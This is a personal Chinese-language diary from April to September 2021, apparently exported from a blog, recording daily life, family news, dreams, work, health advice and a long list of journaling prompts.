老板又请员工去音乐餐厅吃饭，3 个人喝了 3 瓶红酒，一瓶 750 mL。上次是小口泯着喝，这次是高脚杯 🍷 一口闷。没想到居然醉得不行，全身无力，腿脚发软，第一次醉得这么厉害。打车回来，没洗澡，直接睡。但头疼，花了一些时间才睡着。
2021-04-24
好好上班，摸鱼不好。
2021-04-25
去了前公司一趟。
2021-04-26
大伯娘突发心脏病走了，也算是一种解脱吧。二姐前几天还梦见回去奔丧，一看躺在棺材里是大伯娘。生命无常，珍惜眼前人。
以个人缴纳社保，总费用是 ￥825.95。
2021-04-27
午休梦见哥哥在田里滑倒，站不起来，我正要过去救溺水中的哥哥，他就站起来了。
2021-04-28
逛展会真累呀。
2021-04-29
高中同学的写的小纸条，我都珍藏着。今晚翻看完，它们将被销毁。这些真挚的文字，我只能记住一些，不过，那就够了，但美好的感觉一直都在。
2021-04-30
与其被楼下幼儿园没有营养的儿歌吵得心烦意乱，不如起来写点东西。
一年前花了 ￥175 办了港澳通行证：
- 香港一年多次（限每周一次）
- 澳门一年一次
但是一次都没去，就过期了。
2021-05
2021-05-01
工作渐渐有压力了。
2021-05-02
下雨了，不能出去逛街买衣服。
2021-05-03
生活不在别处，当下即是全部。充分享受在一起的 Moment，加倍感受在一起的 Happy Hour。
2021-05-04
五四青年节，但我已不是青年。
2021-05-05
日志越写越少，因为找到了可以倾诉的人。
2021-05-06
午休的时候，梦见自己的眼镜掉在湍急的小溪水里，我脱了鞋子去找，没找到。
2021-05-07
昨晚 00:40 放下手机，00:50 发现脚趾头很痒，开灯一看，五六只蚊子跑进蚊帐了。早上被一只蚊子叮醒了，一看傻眼了，可能有二十多只胖胖的蚊子爬在蚊帐里，它们怎么跑进来的？我昨晚怎么一觉到天亮的？
2021-05-08
多多挣钱，把女朋友养胖。
2021-05-09
昨晚打呼噜了，把姐夫的弟弟 HWS 吵醒了。
预祝四姐（和五姐）的中山美容院顺利开张。
下午和强哥打篮球，感谢强哥 FXQ 火锅招待。10:9 输了，还被盖了几个球。
19:472021-05-10
饭煮好了，人却困了，设置了半个小时的倒计时。梦见同学因为一件小事而打架。
20:012021-05-11
三姐：广东男很多素质差，说话难听我接受不了
二姐：都像狗仔一样实在些还可以[呲牙]
三姐：就想找个狗仔哥这种有文化，又高素质的
2021-05-12
给母亲续了百万医疗险（好医保·长期医疗，￥1378）。
10:272021-05-13
身体黏糊糊的，今晚开始启用空调。
23:042021-05-14
午休做了一个可怕的梦，但我知道这是做梦，但还是挣扎了一会才醒来。
前同事 ZGM 找我去游泳 🏊🏻，不然我的游泳装备都发霉了。
广东的高一同学 GJL 举家族之力，凑齐首付五十多万，在海南买了一套房。接下来就要背上房贷（月供 ￥4800），所以坐立不安，想着如何挣钱。回首往事，钱多钱少，都一样过。年纪来了，压力和责任也随之而来。成年人的日子，怎么这么苦逼。
2021-05-15
ZGM 分手了。一个简单朴实的男孩子，谈恋爱还是挺难的。
2021-05-16
站着小便，尿分叉，尿到自己脚上了。
CGF 过来深圳完，人长胖了，脸上痘痘还是那么多。
2021-05-17
早上不用来上班，然而还是来了，这记性。
2021-05-18
好好上班，很有必要。
2021-05-19
平常的日子，没有波澜。
2021-05-20
如何活得更好的 10 条建议 by 冯雪：
提高食物多样性，每天吃够 20 种食物，其实也不难，早餐加一袋儿不含水果干儿的每日坚果就能管六种了；
严格控制糖的摄入，尤其是饮料糖水儿，警惕长成其他健康食品样子的糖比如蜂蜜比如养乐多，顺便说一句，养乐多升糖指数巨高不会有人还不知道吧；
一个好消息是，如果不减肥的话，普通天然食物基本上随便吃，没那么多讲究，主食、肉类、蔬菜、水果，不同品种有优劣之分，但是差别也没那么大，犯不上在这上面花那么多心思，正常吃；
深海鱼一定要吃，鱼油不能替代鱼本身，如果没有特别的生活方式上的问题，保健品可吃可不吃，只要是合法的保健品也没啥不能吃的，安慰剂本身也有作用呀，至于燕窝阿胶胶原蛋白啥的冯主任的原话是有钱就吃呗自己觉得高兴就行；
如果长期在外就餐的，补充点儿纤维素；
刷牙怎么好好刷都不为过，牙菌斑居然是导致心脑血管疾病的一大诱因，重点刷牙齿和牙龈接缝儿的位置，不要用超软毛牙刷，用正常硬度牙刷；
每周运动三次或以上，每次 40 分钟就够，运动强度是一边运动一边自己还能说出完整的话；
睡觉很重要，但是没那么邪乎，一天睡够六小时就得，只要有规律，早睡晚睡不是很重要，中午补觉效果很好，但是不要超过 30 分钟；
一定要戒烟，可以不戒酒，每日饮酒中量啥影响没有（红酒一杯，啤酒一罐 330，50 度以下白酒一两，高度白酒最好不要），最友好的是冯主任说每周的酒指标可以集中使用，不影响，哈哈哈哈哈；
最有洞察的是关于抑郁症高发的临床观察，冯主任认为现代人因为不能专注，而是每天产生大量的“游思”，可能是导致抑郁症的一个原因。什么叫游思？想想每天自己在多少个微信对话框里起个话头然后不断跳来跳去就知道了。与游思相对的是“正念”，所以，要对抗抑郁风险，要么干能让自己专注的事儿，要么专门练习正念冥想。
2021-05-21
在感情中，一个实际的问题是，一个人喜不喜欢你，有很大的偶然性。TA 不喜欢你，或者不愿意跟你在一起，很可能不是单纯因为你工资不够高、才华不够好、容貌不够漂亮。「喜欢」和「愿意」是会变的，把婚姻建立在爱情上，就使得关系变得非常不稳定。
在传统社会，浪漫的爱情和婚姻是分开的。中世纪的法国有种「爱情法庭」，专门给贵族裁决恋爱纠纷。据说有过这么一条判决：一位贵族女性和爱人结婚以后，就可以开始找新的恋人了。因为婚姻中不存在爱情，结婚就意味着两个人的爱情关系结束了，可以开始新的恋爱了。当时的观点是，婚姻的精神是责任，是保护财产和维护家族延续。甚至有人说，爱情会败坏这种严肃的责任。到了一百年前，才有了为爱成婚。
爱情和婚姻这种特殊的结合会带来危机，但过去的很长一段时间里被两个因素阻止了。一个是男女不平等。男性主导的威权结构使得家庭稳定，但这个稳定是以一方受到压制为代价的。第二是双方的依赖。男性在家务上不独立，女性在经济上不独立，相互依赖，相互提供对方稀缺的资源。
在不确定性、不安全感越来越高的社会背景下，年轻人们要么对感情失望，要么继续遵从传统的婚恋轨道，要么陷入迷茫、困惑和无限争吵中。即便如此，一个人如果在年轻时有过一种忘我的爱情（非常美好的爱情记忆），也许他就能拥有一个隽永的中年和老年。即便它会被淡化在家长里短、油盐酱醋的漫长岁月里，它也一定会在某一时刻让你重温，它有它的力量。
理想关系是：你越是你自己，你越是被另外一个人爱。两个人的「小型共产主义」是可能的，即「我最大的心愿，是使你幸福，所以我在成全你的时候，是满足了我自己最深层的希望」。
在同一时间和不同的人暧昧、恋爱。男性就是「海王」，女性就是「海后」。我理解这些词描述的是「不专一」吧。这里我觉得有两个方面，一个方面是人们需要发明新词，来概念化一种现象。因为现象变得复杂了之后，要从头讲起是很麻烦的，所以人是需要概念的。但另一个方面，任何一个概念，当它被固定下来，它都可能成为一种陈词滥调或者刻板印象。而刻板印象之所以会流传，是因为它方便，我们遇到一个现象不用再从头讲起，这让我们的交流更有效，让我们能更便捷地应对这个复杂的世界。
我鼓励年轻人大胆一跃，不是要鼓励愣头青。我鼓励真正的勇敢，真正的勇敢里面是有判断的。勇气和判断力是相辅相成的。正因为你的判断也不能穷尽所有的可能性，风险和不确定性是永远存在的，所以我们才需要勇敢，所以勇敢才是美德。但勇敢和没有判断的勇敢——鲁莽——是一定要分清楚的。而且，勇敢本身会塑造关系，而关系又会塑造一个人。恋爱是这样，好的朋友关系也是如此。你要舍得自己去经历一段感情，但遇到挫折时，你不是责备自己，而是反思自己。最深刻、最长久、对你最有益的是，把痛苦的情绪和理性的反思结合起来，它会重新塑造你，滋养你，这是一个非常珍贵的来源，你最后可以变成一个更好的人。否则，在一个高风险的社会里，如果你用一个非常高的安全标准来生活，你能怎么办？你就只能独处。
2021-05-22
手机内存 256 GB，想装 App 都不用顾忌，真舒服。
2021-05-23
我还是老小孩。
2021-05-24
上班啦。
2021-05-25
再不学穿搭，真的没时间了。
2021-05-26
- 我一度既无法适应用单一数字代表个人价值的丛林法则，也自知就算我愿意为此奋力一搏，也远远不够聪明，不够敏捷，不够有好赌的胆量和输掉一切卷土重来的狠劲。
- 这个世界上的钱有两种，一种是和你有关系的，一种是和你没关系的。前者是后者之中极小的子集而已。不要去追随他人，追随市场，要去追随自己内心真正关心的，热爱的，理解的，信仰的东西。弱水三千，只取一瓢。
- 我们拼命学习投资理论，研究市场逻辑，关注新兴资产，打听小道消息，试图解释昨天，了解今天，预测明天。以为更多的知识，更多的信息就能带来更聪明的判断。
- 对钱的安全感，和实际拥有的数字没有必然联系，只和当下自己的人格与心境相关。
- 投资交易只是生活中很小的部分，它所占用的时间，和影响的心情，都不应该超过任何一个业余爱好的尺度。
- 人类引以为豪的思考（也许）不过是一连串外界刺激引发的电信号，大脑并不听任「自我」的指挥。
2021-05-27
今天工作和学习都挺充实的。
2021-05-28
近期总会思考，如果收入没有提上来，步入婚姻，会不会很狼狈？
2021-05-29
体重 62.8 kg，终于不是 63 kg 了。
写下即放下。by 格志日记创始人曹舒旻
日志
特殊日子
- 今天是我来到这个世界的第几天？
- 我想做什么让今天变得特别？
- 今天发生了哪些值得关注的事？
- 今天是我第一次完成什么体验的日子？
- 今天我因为什么节日/纪念日而做了什么？
- 今天是我因为什么而送/收某人什么礼物的日子？
- 今日小确幸
- 今日灵感
- 今天触动我的事
- 今日感恩
健康
- 今天我做了什么运动？
- 今天我吃了什么?
- 今天我冥想了吗？
- 今天我健身了吗？
- 今天我梦见了什么？
- 今天我的精神状态如何？
- 今天我的身体状况如何？
- 今天我睡得好不好？
- 今天我几点起床/睡觉/冥想？
- 今天我喝了足够的水吗？
- 今天我的排便正常吗？
- 一日三餐
- 我的梦境
社交往来
- 今天我参加了什么活动？
- 今天我和谁交流了什么？
- 今天我收到什么惊喜吗？
- 今天我帮助谁做了什么？
- 今天我很感谢谁给我的帮助？
- 今天我最有感触的是谁的什么行为/话语？
- 今天我喜欢/讨厌与谁的相处模式？
- 今天我关心或被谁关心了，心里的感受是什么？
- 我的亲密关系
事业发展
- 今天我遇到了什么工作难题并如何解决？
- 今天我完成了什么工作？
- 今天我是如何对待工作的？
- 今天我在工作中学到了什么？
- 今天我在工作上获得了什么成绩？
- 今天我在工作中需要改变什么方法/技能/行动？
- 今天我与同事的关系如何？
财务自由
- 今天我为实现财务自由做了什么？
- 今天我记账了吗？
- 今天我因为什么赚了多少钱？
- 今天我的资产盘点状况如何？
- 今天我做了什么投资？
- 今天我的投资收益怎么样？
- 今日收入和支出
家庭幸福
- 今天我陪伴家人一起做了什么事？
- 今天我为家人做了哪些事？
- 今天家人为我做了什么事？
- 今天是否有向家人表达我的爱意？
- 今天我的宠物/植物发生了什么有意思的事？
- 今天我愿意做什么以便让家庭可以更美满？
- 今天我学到了什么可以让家庭更幸福的秘诀？
个人成长
- 逆水行舟，不进则退，今天我的进步是什么？
- 今天我犯的错误是什么？
- 今天我坚持了哪些好习惯？
- 今天让我很有收获的是什么书/画/音乐/视频？
- 如果用一个句子描述今天的我会是什么？
- 什么不会让我成长，或不会带给我长远的意义？
- 今天让我幸福/感动/痛苦/恐惧的人/事/物是什么？
- 今天探寻到什么世界真理？
- 今天我学到了什么？
- 今天我突破舒适区了吗？
计划目标
- 明天必须完成的三件事是什么？
- 今天我将全力以赴完成什么？
- 今天我拖拖拉拉是因为什么？
- 今天我因为什么而调整我的日/周/月/年目标？
- 今天我为日/周/月/年目标做了什么努力？
- 今天我在关注的领域取得了什么样的成绩？
- 今天有哪些分心浪费时间的事，让我无法更有效率？
梦想实现
- 今天我要怎么行动才能让我的未来更美好？
- 今天的我是最好的自己吗？
- 还记得我的理想是什么吗？
- 今天我为改变世界做了些什么？
- 今天我愿意放弃什么以便让梦想可以实现？
- 今天有什么灵感信息可以让我的梦想更进一步？
周志
- 本周我最大的成就是什么？
- 本周是否有新的想法或不错的创意？
- 本周克服了哪些挑战？
- 本周最应该感谢的人是谁？
- 本周哪一天浪费了最多时间？
- 本周发生的最美好的事是什么？
- 本周最值得我自豪的事情是什么？
- 本周有什么事情让我退缩？
- 本周我发现了什么机会点？
- 本周最后悔的事情是什么？
- 本周最值得纪念的是什么？
- 我与最亲密的人相处了多长时间？
- 上次我对自己说「我爱你」是什么时候？
- 本周我是否大部分时间都比较自信？
- 对我的合作伙伴与客户而言本周我的影响力如何？
- 本周是否经历了沮丧和烦闷的时刻？
- 本周遇到什么事情让我无法在工作上全力以赴？
- 我是否行走在正确的道路上？
- 我在害怕什么？
- 本周最重要的一件事是什么？
- 本周在哪些事情上我在拖延？
- 下周我可以帮助谁？
- 我是否是为了开心和成就感在工作？
- 本周的小确幸
- 本周 5 件值得多做的事
- 本周 5 件应该少做的事
- 本周的工作总结
- 本周的生活总结
- 本周的学习总结
- 本周的身体状况
- 下周任务清单
- 下周需要改进的 3 个点
- 下周我期待发生什么？
月志
- 本月最值得纪念的事情是什么？
- 本月为实现年度目标做了什么？
- 本月是否有新的想法或不错的创意？
- 本月克服了哪些挑战？
- 本月最应该感谢的人是谁？
- 本月我与哪些人保持联系？
- 本月最值得我自豪的事情是什么、
- 本月有什么事情让我退缩？
- 本月我发现了什么机会点？
- 本月我最大的成就是什么？
- 我是否是为了开心和成就感在工作？
- 本月我是否更加健康？
- 我是否在真正重要的事情上投入了更多的时间？如何改进？
- 如何让下个月的目标进展更加顺利？
- 本月我读过哪些书？
- 下月我期待会发生什么？
- 下月我想要联系哪些人？
- 下月我需要改进的 3 个点
- 月度计划是否如期进行？
- 本月我最喜欢的一天或一件事
- 我的月度最佳电影
- 我的月度最佳图书
- 我的月度最佳音乐
- 本月工作总结
- 本月学习总结
- 本月生活总结
- 下月要实现的目标
年志
- 我的年度头条事件是什么？
- 今年我最大的成就是什么？
- 今年我做的最重要的决定是什么？
- 明年最大的心愿是什么？
- 你会对十年前的自己说些什么？
- 如果让我给新生儿一条人生建议，我会说什么？
- 今年为实现五年计划做了什么？
- 今年是否有实现一项人生梦想？
- 今年养成了什么好习惯？
- 今年戒掉了什么坏习惯？
- 明年要养成什么新习惯？
- 今年学到的最重要的教训是什么？
- 今年最值得感谢的是谁？
- 我是否对什么人或事过于执着？
- 我真正想要过的生活是什么？
- 我今年的财务目标实现了吗？
- 我想要追求的极限体验是什么？
- 我快乐吗？
- 我有罪恶感吗？
- 我积极乐观吗？
- 我有更深刻的认识自己吗？
- 我比一年前的自己更好吗？
- 我可以原谅那些带给我伤害的人吗？
- 我为身边的人带来了什么价值？
- 我可以做什么来走出舒适区？
- 倾听内心的声音，我是否一直在忽略什么感受？
- 我拥有能够倾诉所有事情的对象吗？
- 上次对某个人说「我爱你」是什么时候？
- 上次我对自己说「我爱你」是什么时候？
- 今年我相处最多的五个人是谁？
- 明年此时我希望置身何处？
- 什么事物给予我灵感？
- 我可以如何增加自信？
- 有什么限制使我一直无法实现我想要的目标？
- 今年是否发生了改变我人生轨迹的大事？
- 今年我做出的最重大的决定是什么？
- 我今年去过哪些地方?
- 我的年度最佳电影
- 我的年度最佳图书
- 我的年度最佳音乐
- 年度工作总结
- 年度生活总结
- 年度学习总结
- 我的年度计划复盘
- 新年日标
2021-05-30
早上六点钟 🕕 起床去练车。
打个羽毛球 🏸，把眼镜盒搞丢了。
2021-05-31
躺平这事，豆瓣上看到最准确的一句评论：达者不再兼济天下，却怪穷者独善其身。
从初中至今未见的网友 ZT 居然把我列为「和半年以上没联系的朋友联系，争取都见一面」清单第一人。
2021-06
2021-06-01
最近喝水少，早上排便不通畅。
好久没有走路去地铁站乘车了，自从「继承」了五姐的电动摩托车。
婚姻不是目的，幸福才是。
YOLO 是「人只活一次」(You Only Live Once) 的缩写，扔下安定的工作，去做一些感兴趣的但是高风险的事情。
暂时找不到核心竞争力怎么办：找到最近最想做的一件小事，坚持 21 天甚至更长的时间。原因是，坚持一件事，它会让我们不断反思自己，更清晰地认识自己；以及如果坚持下来的话，我们会有信心和能力去做下一件小事。这一步步尝试的过程，就会发现自己的核心竞争力。
It wasn't burnout — we still had energy. It wasn't depression — we didn't feel hopeless. We just felt somewhat joyless and aimless. 不是精疲力尽，我们仍然有精力；也不是抑郁症，也并不感到绝望。我们只是觉得生活有些无趣，没有方向。
如何缓解萎靡情绪：
- 进入心流：专注工作或看一部电视剧
- 给自己一些不被打扰的时间
- 专注于一个小目标
超文本和超链接，一本赞美电子文本优点的纸质书，以超链接和超文本为线索，串联与之相关的人和事，例如：
- 万尼瓦尔·布什（Vannevar Bush）想象了机械时代的超链接和超文本
- 道格拉斯·恩格尔巴特（Douglas Engelbart）用计算机实现了超链接，创造了数字时代的超文本
- 泰德·尼尔森（Theodor Nelson）发明了「超文本」一词，成为它最积极的宣道者
- 蒂姆·伯纳斯-李（Tim Berners-Lee）用超链接连接了全世界，创造了无限的超文本系统——万维网
除了四位主角，小册子还提及了多位计算机和互联网领域的先驱，他们每一个人都值得一本书来讲述。
我永远感激他们。感谢万维网，让二十年前的我接触到当时难以想象的信息；感谢互联网，让我这样「边缘人」也能交到朋友。by 作者李恪
术语解释
- 超文本（Hypertext）：指计算机上含有超级（Hyper）链接的文本，最常见的是网页。
- 超链接（Hyperlink）：超级链接的简称。超文本上信息之间的连接，最常见的是网页上可点击跳转的文字，一般是带下划线的蓝色字体。
摘录笔记
- 超链接可能是互联网上最不起眼又最重要的事物，「标注来源链接」应当是互联网基本礼仪。添加超链接既是对信息来源的尊重，也便于读者了解更多信息，同时表明文章内容有据可查。超链接的自由是信息的自由。
- Google 将从网页 A 至网页 B 的链接解释为网页 A 向网页 B 的投票。通过网页投票表决本身的重要性更具分量，并且有助于提高其他网页的重要性。
老板没来，一上午都在摸鱼。
2021-06-02
获取小米 6 手机 ROOT 权限失败，都已经进入 BootLoader 给手机解锁了。
01:35早上和午休，都是膀胱叫我起床的。以前只有我起身后，才会有尿意。
小米 6 手机获得 ROOT 权限，但 Google Photos 存储空间依旧不是无限量。
2021-06-03
外婆总是说我小时候鸡鸡短，尿在裤子上，不管有没有外人在。
2021-06-04
微信通讯录有 1378 位好友，不看他（她）朋友圈的有 363 位。今天把 Ta 们从小黑屋里放出来，看看好久不见的「朋友们」，然后该删的删，不能删的继续屏蔽其朋友圈。
老妈子告诉我一个治愈白头发的偏方：
- 锅里放水，加香蕉，煮熟
- 加白糖
- 洗头
坚持一周，头发就会变黑。
我当然不信啦。
2021-06-05
七点 🕖 的闹钟 ⏰，贪睡到七点半 🕢 才起床：
- 贪睡 15 分钟
- 贪睡 10 分钟
- 贪睡 5 分钟
体重还是 62.8 kg。
07:48昨晚做了一个很长的噩梦。一栋高高的城中村着火了，楼顶挤满了人，有跳下的，有跳到隔离楼的……
2021-06-06
有一期节目叫《韩春霞的嫁妆》。我们去河北采访即将结婚的女孩韩春霞。她在外地打工了好多年，给家里挣了不少钱。她想留在城里，可是城里找不着对象。家里三催四逼，给她找了一个对象。结婚前几天，我们到了她家，她拿出一件红黑两色的毛衣，打算结婚那天穿。我问她，怎么不选一件传统的红缎子，她说因为「红与黑」。我说什么叫因为「红与黑」？
她说，在城市打工的时候，听说有一个特别有名的外国小说叫《红与黑》。看见这件毛衣，她就决定结婚穿这件。这代表着她向往的一个外面的世界。
她也很骄傲地给我介绍她家给她准备的嫁妆，电器，家具，农用机械，特别丰厚，在农村很拿得出手。父母准备的嫁妆里，只有一盏粉红色的台灯是她特别要求买的。她说夜里，开着台灯，心里好像有了一点寄托。
第二天她带我们参观新房。从卧室大衣柜里，她拿出一个鞋盒，说是给自己的嫁妆。从没有给人看过。里面是一大摞旧的笔记本，是她在城市打工时的日记。她说，这是她最宝贵的东西，是她给自己的嫁妆。
刘小样：
我宁可痛苦，我不要麻木，我不要我什么都不知道，然后我就很满足。有饭吃，有衣穿，有房住，这就很好了。我不满足这些的，我想要充实的生活，我想要知识，我想看书，我想看电视，从电视上得到我想要得到的东西——因为我不能出去。
你忽然就来了，忽然又走了，就像一场梦，你走了，又剩下我一个人了。
2021-06-07
排队做核算检测。
20:36十人一组捅一下喉咙，搞定。
21:072021-06-08
买了一双新的人字拖鞋，旧的太滑了。
2021-06-09
本想把锅碗瓢盆泡着水，留到晚上洗。但阿颖很严格，于是阿庭犹豫片刻，就去把厨具碗筷洗了。
08:36花 ￥99 买了一个 3C 认证的摩托车 🛵 头盔，安全第一。
2021-06-10
自己平时会读很多杂七杂八的内容，常常网上冲浪就沉入深海无法自拔。
表哥 LDF 突然私聊我：你是怎么看待婚姻的？
接着说道：婚姻的事是你情我愿的事，不要因为亲人说怎么样就觉得怎么样，只能做参考。
过日子是一辈子的事，都是你们两个人的事，以后跟父母很少相处。
你条件和样子性格都不差，就是交际圈太窄，父母姐给你太多关照了，有点习惯他们给你铺的路。
2021-06-11
现在外国人发过来的邮件开头不是 Dear 或 Hi，而是 Hey 了，越来越随和了。
2021-06-12
端午节不能回老家，因为侄女的幼儿园规定不能离开深圳，所以就不能做哥哥的顺风车回家。
昨晚下过雨，而我不自知。
核算检测，开始排队拿号，前面大概白来人。
08:18最近的社康没有深圳康泰的乙肝疫苗（第三针）了，于是去了隔壁社康。
09:18乙肝抗体补充计划完成。
纯牛奶果然要冷藏一下才更好喝。
八斤小龙虾，刷了接近一个钟（另一人负责剪）。每次我被小龙虾钳到手，侄女就跑到厨房幸灾乐祸，咯咯大笑，这样的情况，发生了四次。
2021-06-13
端午节和家人们一起包粽子。
2021-06-14
想要赖床，身体不允许。I need to take a poo.
童年的时候，姐姐穿完的衣服妹妹穿，哥哥穿完的弟弟穿。
端午端午，端着手机，睡到中午。
2021-06-15
知名博主「编程随想」疑似被抓。
感谢爸妈送了这么多家乡菜下来。
2021-06-16
上班摸鱼看 NBA，见证了杜兰特的高光时刻。
2021-06-17
梦见自己得了假阴性新冠病毒，第二次核算检测才是阳性。
2021-06-18
带孩子的阿姨说我的房间好干净。
2021-06-19
粽子不得不吃，祈祷体重不要长得太快。
2021-06-20
吃了一天粽子。
2021-06-21
刚刚坐地铁，一位年轻女士急冲冲地说让我坐过去一点。因为我隔开坐，挪一下，她和她朋友就可以并排坐。客气地说一个「请」字有那么难吗？但我还是很不情愿地让座了。
2021-06-22
追忆逝去的青春。
2021-06-23
上班又摸鱼。
2021-06-24
刚刚又尿到自己脚丫子上了。
01:042021-06-25
事情是做不完的，要分轻重缓急。
2021-06-26
昨晚一声巨雷，被吓醒了
听完了所有「故事 FM」的节目。
09:122021-06-27
加密货币，真有这么容易套利？
2021-06-28
我讨厌那些穿着正装的职业照头像，因为过于美化自己的形象。
2021-06-29
每次看到镜子前的自己蓬头垢面，虽然觉得不妥，但是也没有做出改变。
今天 Avin 跟我说的一段话点醒了我：每天进步一点点，坚持带来大改变。事不宜迟，我设定了下班后要去理发的闹钟提醒。换个清爽的发型，也会让自己自信些。
回来后开始剁肉，制作酿苦瓜。但是尝了成品之后，就像是水煮苦瓜，应该是一开始焖煮的时候放太多水了。在烹饪的期间，我换了更大的电脑桌，打字更舒适一些。
囫囵吞枣地吃完饭，洗碗，刷锅，扫地，拖地，洗澡。我觉得今晚挺特别的，于是趁着热乎劲敲下这些文字，告诫自己，平常的生活，也可以过得精彩。
今天了最新一期「得意忘形」播客，认识了轻松冥想（微信公众号：easymx）的创始人：学霸猫俞立颖老师。如何进入当下，心里慢慢说：谢谢你，我爱你。
2021-06-30
第五次核算检测。
2021-07
2021-07-01
下半年第一天就熬夜回复客户到这么晚。
01:352021-07-02
前往广州，会见佳人。
2021-07-03
在优衣库买了一件粉色的 POLO 衫 👕。
2021-07-04
为了学点英语，看《海贼王》（One Piece）用英文字幕，虽然是日语配音。
2021-07-05
太阳 ☀️ 太毒了，改成地铁 🚇。
买牙膏和牙刷去公司，吃了午餐，要养成刷牙的习惯。
2021-07-06
每个人只能陪你走一段路，或长或短。
相比白色的牙膏泡沫，牙齿🦷显得好黄。
2021-07-07
好好工作，挣点老婆本。
体重 62.4 kg。
被自己呼噜声吵醒。
2021-07-08
接下来的 4 个周四都要出去培训，地点就在第一份实习工作（2017 年）的写字楼。我讨厌这个办公楼：
- 距离最近的地铁口有 1.5 km（走路 23 分钟）
- 不敞亮且闷热的过道
- 楼下拥挤的餐厅
- 坐电梯也要排队
2021-07-09
接种第一针新冠疫苗（北京科兴中维，Vero 细胞）。
09:16带大外甥 CFD 打篮球。
2021-07-10
出发，回老家。
16:13到家了。
21:392021-07-11
枕着蛙声入眠，迎着朝阳起床。老家的觉，心里一点也不闹。
真实的情况可能是：七点几啦，赶紧起床啦！起床一看饭桌，早餐跟午饭一样油腻而丰盛。
我中午梦见自己的牙齿掉了好多，而且上下齿严重对不齐。
父亲找了一个风水宝地，已经开始做生前土葬基地（生基），保佑孙子光宗耀祖。因为望两子，不成龙。
2021-07-12
返深。
08:45第一次用拔粪宝疏通马桶 🚽，总是会像雨伞 ☂️ 一样反顶。搞了几分钟才疏通。
外甥出鼻血了，还要吃烧烤。
2021-07-13
太阳 ☀️ 太大，不骑车，挤地铁。
2021-07-14
工作还是不够认真，很多视频在拖着。
2021-07-15
今天的工作很努力。
2021-07-16
今天是周五。
2021-07-17
宅。
2021-07-18
切玉米，切到左手小尾指了。
2021-07-19
方便的互联网顺风车，日新月异的荒唐世界。
我们可以一次一次去撞南墙。我们不能一个一个失去理想。by 《光明与磊落》 | 韩寒
2021-07-20
忙起来，看久电脑，腰酸眼睛疼。
2021-07-21
临时前往广州，挽救爱情。
2021-07-22
培训真无聊。
2021-07-23
熬夜回客户邮件。
01:252021-07-24
买了 308 元的意外险：大家保险成人意外险（百万计划）。
2021-07-25
把床上用品都拿去洗了。
把旧笔记本电脑寄给大外甥了。
2021-07-26
工作刚忙，没空尿尿。
2021-07-27
抱着枕头睡觉，好踏实。
骑车下班，打雷下雨。放肆大喊，痛快。
2021-07-28
为什么不抗拒工作了？
2021-07-29
在早高峰的地铁中，一位姑娘被挤得发出怒吼。
08:392021-07-30
同事都请假了。
2021-07-31
不记得今天做了什么。
2021-08
2021-08-01
吃猪肚鸡，好饱。
2021-08-02
结束短暂广州之旅，收收心，挣钱。
2021-08-03
又是忙到没时间喝水尿尿。
2021-08-04
被人赞赏时，学会字字反思；被人批评时，不要句句反驳。by 刘德华
2021-08-05
忙！
2021-08-06
只穿着内裤，我今天的体重是 62.00 kg。
09:12每一天，悲喜都在上演。
一位读者说我很久没发布新文章了，我说要挣钱存老婆本。Ta 说可以出稿费资助我，等以后接广告了再分红。
另一位读者看过「庭说」所有的文章，很信赖我。但是多年的抑郁症让 Ta 想要放弃生命了。明天 Ta 带着最后一丝希望去医院复诊，希望有转机。
2021-08-07
有一天心情不好，把你那篇宠物日志从头看完了，笑得很开心🤣。by @heddxh
速度与激情 9：★★★★☆。
23:092021-08-08
新冠疫苗真难约啊。
01:15催婚
催啊催啊 我的单身放纵
催啊催不毁我纯净花园
任妈催 任爸乱
毁不灭是我 爱情的展望
催啊催啊 我独居不害怕
催啊催啊 无所谓 扰乱我
你看我在勇敢地微笑
你看我在勇敢地去挥手啊改编自歌曲《野子》，作为朋友被催婚的回复。
理发师说我头发太硬，纵使留了胡子 🧔🏻 也当不了沙井陈柏霖。
2021-08-09
最近在忙什么呢？现在益情严重多多注意防护。by DHF
商业社会发展到现在，人类只是站在了逐利的顶峰。如果是另一个物种主宰地球 🌏，世界是不是会不一祥？
2021-08-10
庭勃士是否用过卢曼的卡片盒笔记法？我自己尝试了一下，看少数派上的文章感觉很乱。但是从你的文章能看出来你分析事物条理清晰，所以想请你有空闲的时候，尝试一下，给我们分析分析。主要是这个笔记法国内讨论的人比较少，我搜到的文章没有一篇比得上庭说网站上的文章水平。by tor2des
老家门前打了一口 50 米深的水井，我出资 ￥3000 饼附言：活水来，健康到。
21:042021-08-11
我是好人还是坏人？
2021-08-12
希望广州的疫情控制住。
2021-08-13
前往广州。
2021-08-14
羽毛球 🏸 打不过女孩子。
2021-08-15
独守空房。
2021-08-16
返回深圳。
2021-08-17
去铁罐子工厂学习，喝了两瓶劲酒，脚软头晕 0。
20:122021-08-18
忙。
2021-08-19
开单了，卖出 6,000 PCS 定制防童纸盒。
13:14父亲的意外险到期了，重新买了一份（￥298）。
2021-08-20
成交一个接近一万五人民币是样品单。
2021-08-21
多和有能力的人交流还是很益处的。
今天第一次和三姐的男朋友打球，刚开始发挥得不好，后面熟悉篮筐高度后，命中率就提上来。
2021-08-22
2018 年 5 月 14 日随便在京东买的安踏球鞋（￥201）要退役了 ，于是在得物花了 ￥474 买了安踏要疯 5 狂潮 3 高帮篮球鞋（粉绿）。
14:33花 ￥110.9 定制了一件广东深圳队的球服：
- 胸前印制：河源葛州 + 56
- 后背印制：Dr_Ting + 56
- 球裤：56
还买了一双篮球袜（￥18.9）。
与 MZ 会面结束，打开了 Ta 的话匣子，没有冷场，Ta 也坦言很久没有顺畅地交流了。希望 Ta 可以充实对人生的信心。
2021-08-23
胡子 🧔🏻 留太长，用电动剃须刀好疼。
2021-08-24
努力工作。
2021-08-25
早上用发泥，也不会做造型。定型喷雾也不会用，喷自己一脸。
2021-08-26
气球塔防 6（Bloon TD 6）真的太难了，不过应该值得长期跟外甥玩。
01:112021-08-27
去广州。
2021-08-28
爸爸让我买 2 个专门剥板栗 🌰 的剪刀 ✂️ 给他。
2021-08-29
爸爸的冠心病 🫀 似乎恶化了。
2021-08-30
定下的工作目标又没有完成。
2021-08-31
老板娘连纸巾都不让我们多用。
2021-09
2021-09-01
楼下的幼儿园开学了，七点半 🕢 开始放毫无童趣的儿歌，我也不能一觉到八点多 🕗 了。
07:30开着空调，浴室的窗户 🪟 没关灯，这个月的电费又要暴涨了。
2021-09-02
